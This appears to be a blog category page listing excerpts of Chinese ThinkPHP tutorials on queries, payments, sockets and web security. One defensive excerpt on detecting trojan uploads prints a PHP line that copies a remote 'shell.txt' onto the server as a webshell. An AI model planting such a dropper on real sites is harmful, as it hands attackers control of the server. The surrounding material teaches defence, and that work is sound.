ThinkPHP
文章平均质量分 54
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。
美奇开发工作室
后端开发工程师,做一个喜欢分享技术的领域开发者!
展开
-
Thinkphp5在mode模型里查询数据库字段不为空
【代码】Thinkphp5在mode模型里查询数据库字段不为空。原创 2023-09-14 10:55:40 · 612 阅读 · 0 评论 -
Thinkphp5根据IP地址获取定位地理位置,精准到城市
根据IP地址获取用户所在的城市地理位置,网上有很多免费的API接口可以实现,但是接口响应比较慢,接口也受网速等因素影响,有时会很卡很卡,直接给用户造成非常不好的网站流畅度体验。因此,推荐大家直接使用离线IP库进行查询,查询速度快,而且也很准确。1、将cznet.zip上传到Thinkphp的扩展目录extend并解压;原创 2023-05-13 22:41:32 · 2748 阅读 · 1 评论 -
Thinkphp防XSS跨站脚本攻击漏洞
XSS(Cross Site Scripting, 跨站脚本攻击), 在 Web攻击中比较常见的方式, 通过此攻击可以控制用户终端做一系列的恶意操作, 如 可以盗取, 篡改, 添加用户的数据或诱导到钓鱼网站等。上面那段黑客的xss脚本代码,主要是为了获取网站cookie,然后实现匿名访问。转载 2023-05-12 01:11:32 · 2224 阅读 · 0 评论 -
ueditor富文本编辑器上传木马图片或木马文件漏洞
ueditor插件目录一般都自带index.html文件(完整demo文件),这个文件原来是用来测试插件功能的,但。插件目录下的index.html文件,删除不影响ueditor富文本编辑器的正常功能;原创 2023-04-27 11:54:49 · 1638 阅读 · 0 评论 -
Thinkphp获取项目最近更改变动的所有文件
企业级的网站项目都是要不断优化迭代更新的,做为一名后端程序员,在编写更新模块时,如何能快速获取最近修改的文件,然后打包压缩成更新补丁呢?原创 2023-04-25 22:54:20 · 599 阅读 · 0 评论 -
解决Tinkphp的success跳转“使用路由别名后模块和控制器访问不了”问题
修改框架文件thinkphp/library/traits/controller/Jump.php,在success()函数中添加如下代码,对url进行驼峰处理。进行提示跳转,默认是会跳转到小写字母开头的模块,即会跳转到http://域名//user/password.html就访问失败。/user/password.html访问正常。这种方法比较麻烦,不能一劳永逸。但使用http://域名/使用http://域名/原创 2023-01-07 14:16:25 · 1053 阅读 · 0 评论 -
Thinkphp5的where查询
4、参数为[n1, n2, n3...]3、参数为'n1, n2, n3...'2、参数为n,n为正整数。原创 2022-11-26 15:44:27 · 3415 阅读 · 0 评论 -
使用微信JSAPI支付(公众号支付)接口实现微信H5支付功能
使用过微信支付商户的应该都知道,微信H5支付是比较难申请的,而且费率比较高,微信H5通道的风控也相对比较严,搞不好商户就会被风控清退。本文的思路就是通过微信JSAPI支付(公众号支付)接口来实现H5支付的功能。原创 2022-11-23 23:45:34 · 7675 阅读 · 2 评论 -
Thinkphp5的url()助手函数自动识别域名是http还是https访问
如果网站域名使用了SSL安全证书,但没有强制转https的话,https域名调用url()函数时,会出现如下报错:Mixed Content: The page at 'https://18pay.net/Index/User/vip.html' was loaded over HTTPS, but requested an insecure form action 'http://18pay.net/Index/Pay/page.html'. This request has been blocked;原创 2022-09-30 21:02:44 · 1176 阅读 · 0 评论 -
Thinkphp获取单个字段的值组成一维数组
Thinkphp使用->column("字段名")获取单个字段的值组成一维数组原创 2022-09-30 16:34:24 · 826 阅读 · 0 评论 -
Thinkphp封装获取站点https://域名的方法
Thinkphp封装获取站点https://域名的方法原创 2022-09-28 17:17:02 · 1182 阅读 · 0 评论 -
Thinkphp5.0混合查询
SELECT * FROM `表名` WHERE `wayid` = 5 AND `status` = 1 AND (( `userid` = 9 OR `system` = 1 ))SELECT * FROM `表名` WHERE `wayid` = 5 AND `status` = 1 AND ( `userid` = 9 OR `system` = 1 )function函数里如果要传变量,需要使用use(),因为这个函数是闭包的。比方式一多了一对括号,但不影响查询结果。原创 2022-09-20 22:11:13 · 1153 阅读 · 0 评论 -
Thinkphp使用curl模拟multipart/form-data表单
Thinkphp使用curl模拟multipart/form-data表单原创 2022-09-17 17:52:26 · 1407 阅读 · 0 评论 -
解决Thinkphp5使用Model->cache()有时获取不到数据的异常Bug问题
Thinkphp的Model->cache()可以使用缓存查询数据,减轻数据库的压力,但我在使用的过程中,发现有时缓存获取不到数据,从而抛出异常。原创 2022-09-08 23:55:36 · 1278 阅读 · 0 评论 -
Thinkphp使用composer安装扩展包教程
意思就是说,你想安装我这个扩展插件,前提是要先安装另一个插件。我们使用composer remove命令移除某个扩展包时,提示失败,就是因此有关联的包在使用,因此不能直接移除。原创 2022-09-04 12:32:42 · 4179 阅读 · 0 评论 -
Thinkphp在html模板里调用函数方法
第二种方法用的是{},而第一种方法用的是{},多了一个冒号标识符,是有区别的。$bank_card变量没有值时,显示default里的;原创 2022-08-01 12:09:25 · 908 阅读 · 0 评论 -
Thinkphp5行为钩子Hook返回结果(数据)示例
在一些场景里,我们使用行为钩子Hook执行一些操作,执行完后要返回结果(数据),返回的值可能是字符串、数字或者数组。原创 2022-07-26 13:27:59 · 813 阅读 · 0 评论 -
Thinkphp5.0模型操作使用page进行分页
view模板页面代码:说明:分页使用的是layui的样式,效果如下图:原创 2022-07-14 15:21:00 · 820 阅读 · 0 评论 -
狮子鱼社区团购系统团长推广二维码不显示,以及选择地址失败的解决方案
导读:狮子鱼社区团购系统是一个开源免费的程序,自带微信小程序端和thinkphp后端,是个相当不错的团购系统。这套系统程序没有完整的使用教程,所以很多小白和我一样,只能自行研究,这过程中难免会出现很多问题,还以为是代码bug,实际上只是因为没有配置好,不懂使用。下面分享一下我遇到的问题,以及解决方法!问题一:后台团长推广二维码不显示,微信小程序提货码不显示刚开始我以为是上传图片功能有问题,小程序码没有上传到后台,后面研究了代码,发现小程序的二维码是通过微信小程序自带接口自动生成的,而这个接口原创 2022-05-17 14:11:31 · 2315 阅读 · 0 评论 -
Thinkphp5上传中文名的文件报错move_uploaded_file(): failed to open stream: Invalid argument
最近要在后台添加上传文件功能,并且保持文件名称不变,上传英文和数字名的文件都是正常的,唯独上传中文名的就失败,报错如下:解决方案:网上有些人的教程是直接修改Thinkphp框架的源代码,但这样不是很好,尽量不要去修改框架,以免升级后依然会出错。正确方法:在move复制文件前,先对文件名进去中文转码,转换成gb2312,复制完成后再转换回utf-8即可public function upload() { $path = ROOT_PATH . 'public/uploads'. D原创 2022-04-22 15:20:20 · 938 阅读 · 0 评论 -
Workerman给Timer定时器里的方法传参数
一、需求1、进程启动时onWorkerStart()里有一个Timer定时器,我想把$worker->id进程ID传递到另一个Demo类的run()方法里。<?phpnamespace app\kj\controller;use think\worker\Server;use Workerman\Lib\Timer;use app\kj\controller\Demo;class Worker extends Server { protected $socket = 'h原创 2022-04-19 14:38:40 · 1035 阅读 · 0 评论 -
Thinkphp5.1中间件的用法
版本要求:从Thinkphp5.1.6+版本开始,正式引入中间件的支持。一、中间件的作用中间件主要用于拦截或过滤应用的HTTP请求,并进行必要的业务处理。比如可以使用中间件来检查用户的请求信息里是否包含一句话木马。行为钩子和中间件的区别:中间件:它是对项目请求做处理,在用户访问我们的项目时,中间件就可以对于这个请求来判断用户是否有权限,或者判断用户是否存在非法访问;行为钩子:在某一动作开始或者结束的时候会触发的方法,比如用户注册成功记录日志;中间件是对用户请求做处理,而钩子则是原创 2022-03-26 21:34:53 · 3265 阅读 · 2 评论 -
Thinkphp5.0行为钩子Hook的用法
什么是行为钩子?行为可以把行为想象成在应用执行过程中的一个动作。例如在框架的执行流程中,路由检测、静态缓存、用户权限检测是一个行为,大到业务逻辑,小到浏览器检测、多语言检测等都可以当做是一个行为。把这些行为抽离出来的目的则是为了无需修改框架和应用,而在外围通过扩展或者配置来改变或者添加一些功能。钩子不同的行为之间也具有着位置共同性,比如,有些行为的作用位置都是在应用执行前,有些行为则是在模板输出之后,我们把这些行为发生作用的位置称之为钩子。当应用程序运行到这个钩子的时候则会被拦截下来,统一执原创 2022-03-26 19:20:27 · 5312 阅读 · 0 评论 -
Thinkphp5整合GatewayWorker框架,实现数据交互和调用
一、为什么要整合(集成)?Thinkphp5和GatewayWorker框架都是独立部署的,互不干扰。假设我在GatewayWorker框架中有一个业务,需要去查询数据库,需要如何实现呢?方式1:按照GatewayWorker官方文档说明,需要另外创建一个mysql操作类,然后连接数据库,这种方法有点麻烦,如果当前编写的业务还需要使用缓存功能,那是不是又得另外写缓存相关的类?方式2:将Thinkphp5和GatewayWorker框架整合起来,直接调用Thinkphp5项目已编写好的类和方法,原创 2022-02-26 13:52:47 · 3253 阅读 · 0 评论 -
Android客户端与PHP服务端API接口Token安全验证
Android客户端:1、写一个生成token的算法 /** * 生成api接口的token * @param map * @param apikey * @return */ public static String createToken(Map<String, String> map,String apikey){ StringBuffer sb=new StringBuffer();原创 2022-02-24 15:50:38 · 5590 阅读 · 0 评论 -
Thinkphp5启动GatewayWorker失败,没有报错却无法正常启动
遇到问题:1、万分确定GatewayWorker已经成功安装到tp5框架中,没有任何问题;Thinkphp使用workerman提供的GatewayWorker框架进行socket聊天通讯和定时任务_美奇软件开发工作室-CSDN博客一、安装插件以下操作需要登录宝塔SSH终端,执行Linux命令:1、查询composer版本composer -v2、如果是项目使用的是thinkphp5版本,那么对应的composer版本为1,composer从2版本降到1版本方式1:composer self-upd原创 2022-02-23 18:07:25 · 1438 阅读 · 1 评论 -
Thinkphp对接支付宝和微信支付接口封装类
导读:最近开发的一套支付系统,需要对接支付宝和微信支付的主流接口,支付宝有沙箱测试环境和沙箱测试账号,对接非常方便,最想吐槽的就是微信支付,连测试商户账号都不提供,叫你自己申请正式的商户,而且申请非常麻烦,没有正规的企业公司资质,个人开发者根本申请不到。如果不是在公司里上班,建议大家还是别折腾微信支付的了,麻烦!给大家看看我的支付系统体验收银台:我的支付接口代码都是整合在extend扩展目录里,这样封装方便后期维护和在其他项目里直接使用:直接分享代码给大家,里面有详细注释,只要不是很原创 2022-01-20 18:07:48 · 2763 阅读 · 0 评论 -
Thinkphp使用workerman提供的GatewayWorker框架进行socket聊天通讯和定时任务
一、安装插件以下操作需要登录宝塔SSH终端,执行Linux命令:1、查询composer版本composer -v2、如果是项目使用的是thinkphp5版本,那么对应的composer版本为1,composer从2版本降到1版本方式1:composer self-update 1.10.24方式2:composer self-update --13、进入项目根目录(假设项目根目录为/www/wwwroot/test/)cd /www/wwwroot/test原创 2022-01-08 14:49:14 · 2629 阅读 · 0 评论 -
【PHP高级工程师必会技能】Thinkphp工厂模式
一、什么是工厂模式?工厂模式是我们最常用的实例化对象模式,是用工厂方法代替new操作的一种模式。工厂模式就相当于创建实例对象的new,我们经常要根据类Class生成实例对象,如A a=new A() ,工厂模式也是用来创建实例对象的,虽然使用工厂模式可能要多做一些工作,多写一些代码,但它会给你的系统带来更大的可扩展性和尽量少的修改量。工厂模式根据抽象程度的不同分为三种:简单工厂模式(也叫静态工厂模式)、本文所讲述的工厂方法模式、以及抽象工厂模式。工厂模式的优点:可以使代码结构清晰,有效地封装原创 2021-12-15 15:17:03 · 648 阅读 · 0 评论 -
【PHP高级工程师必会技能】Thinkphp单例模式
一、什么是单例模式?单例模式最初的定义出现于《设计模式》(艾迪生维斯理, 1994):“保证一个类仅有一个实例,并提供一个访问它的全局访问点。” 单例模式是一种常用的软件设计模式,其定义是单例对象的类只能允许一个实例存在。单例模式适用场景:需要生成唯一序列的环境; 需要频繁实例化然后销毁的对象; 创建对象时耗时过多或者耗资源过多,但又经常用到的对象; 方便资源相互通信的环境;单例模式的优点:在内存中只有一个对象,节省内存空间; 避免频繁的创建销毁对象,可以提高性能; 避免对.原创 2021-12-15 14:02:42 · 1267 阅读 · 0 评论 -
【安全攻略】Thinkphp5.0检测上传的文件是否包含木马
一、要做测试,那么肯定是要准备一张带木马的图片文件,制作木马图片的方法:1、创建一个名为test.php的文件,代码:<?php copy("http://www.zy13.net/shell.txt","robots.php"); ?>test.php里的代码说明: copy(要复制的文件,复制文件的目的地); http://php.123.com/shell.txthttp://www.zy13.net/shell.txt是远程服务器里的一个txt文件,里面.原创 2021-12-10 19:57:56 · 4286 阅读 · 1 评论 -
【安全攻略】Thinkphp5.0全局拦截一句话木马等非法请求
导读:最近在查看网站日志时,发现有很多一句话木马的非法请求,如下:1、在controller控制器目录里创建一个Common.php文件,继承自Controller<?phpnamespace app\index\controller;use think\Controller;use think\Request;class Common extends Controller { protected function _initialize() { //检测IP是不.原创 2021-12-10 14:24:44 · 3490 阅读 · 0 评论 -
Thinkphp添加图片全屏水印
先看最终效果图:1、在common.php里定义一个全局方法,代码如下:<?php/** * 添加图片全屏水印 * $sourcePath 源图片路径 * $logoPath 水印logo路径* $savePath 添加水印后图片的保存路径 */function addImageWater($sourcePath,$logoPath,$savePath){ $im = imagecreatefromstring(file_get_contents.原创 2021-11-21 20:55:10 · 889 阅读 · 2 评论 -
Thinkphp使用Validate里的正则表达式验证中文名字和身份证号码
众所周知,javascript里验证中文的正则表达式如下:var name = $("input[name='name']").val(); var regex=/^[\u4E00-\u9FA5]{2,10}$/; if(regex.test(name)==false){ alert('请输入真实的中文姓名', '提示'); return false; }js使用的是[\u4E00-\u9FA5],但是在php中使用则会出现如下报错信息:那我们要怎么做呢,正确代码如下:.原创 2021-11-20 13:19:10 · 2388 阅读 · 1 评论 -
Thinkphp+Vue.js+element-ui框架批量上传图片文件
效果图:html部分:<style type="text/css">.el-upload-list--picture{ min-height:200px; max-height:400px; overflow:auto; background-color: #fff; border: 1px dashed #d9d9d9; border-radius: 6px; box-sizing: border-box; padding:10px; ma.原创 2021-10-12 14:09:38 · 815 阅读 · 0 评论 -
Thinkphp+Vue.js+element-ui框架实现文件拖拽上传功能
效果图:html部分:<form class="layui-form" action="这里填写后端接口地址" method="post" enctype="multipart/form-data"> <div class="layui-form-item"> <label class="layui-form-label">上传收款码:</label> <div class="layui-input-line"> .原创 2021-10-09 16:37:06 · 645 阅读 · 2 评论 -
Thinkphp5使用Validate验证防止表单重复提交的两种方式
html表单添加一个“__token__”唯一码,如下:<input type="hidden" name="__token__" value="{$Request.token}" />方法一:在需要验证的控制器里写完整的Validate<?phpnamespace app\index\controller;use think\Validate;//1.引用Validate类class Test extends Controller{ public fu原创 2021-09-27 18:21:52 · 1032 阅读 · 0 评论 -
Thinkphp企业级知宇自动发卡系统源码bug漏洞分析和修复
很多经营自动发卡业务的商家都是使用知宇的自动发卡系统,这个系统功能强大、业务完善,是个很不错的程序。这个系统使用Thinkphp5.0内核开发的,是一个完全开源的项目,这套系统在网上早已泛滥(不值钱),泛滥的程序难免会被黑客利用,黑客通过研究这套系统,发现了系统不少的漏洞,也有一些黑客故意在源代码里植入木马或者后门,然后再发布出去给其他人使用,黑客的目的,无非就是想通过一些隐形的技术手段,修改系统的收款通道,从中获取利益。下面一起来分析这套系统的漏洞。原创 2021-04-29 12:40:51 · 7084 阅读 · 3 评论 -
thinkphp5随机查询一条数据记录
随机获取一条数据:Db::name('user')->where('status',1)->orderRaw('rand()')->limit(1)->find();注意事项:ThinkPHP5从V5.0.17之后,如果排序使用到SQL函数,要用orderRaw()代替order()进行排序。原创 2021-04-22 22:42:42 · 2722 阅读 · 0 评论 -
ThinkPHP通过日志查找后门木马的方法
导读:黑客会在很多开源框架里植入自己的木马或后门,典型的就是eval一句话,如果你使用的是开源程序,或者从别人那里购买回来的程序,一定要认真检查,及时清理掉后门木马,以免网站和服务器被黑客控制,从而造成不必要的损失。作为运维,可以通过查看网站日志查看是否有人尝试入侵,通过日志可以很清晰的了解到黑客的手段,下面分享我是怎么通过日志来查看的,如果发现有人尝试入侵,我会直接屏蔽他的IP,因为我的网站是自己开发的,并没有使用任何开源插件,所以才没有被黑客成功入侵。一、使用文本替换专家2.5.exe工具,在网原创 2021-04-21 11:41:35 · 889 阅读 · 0 评论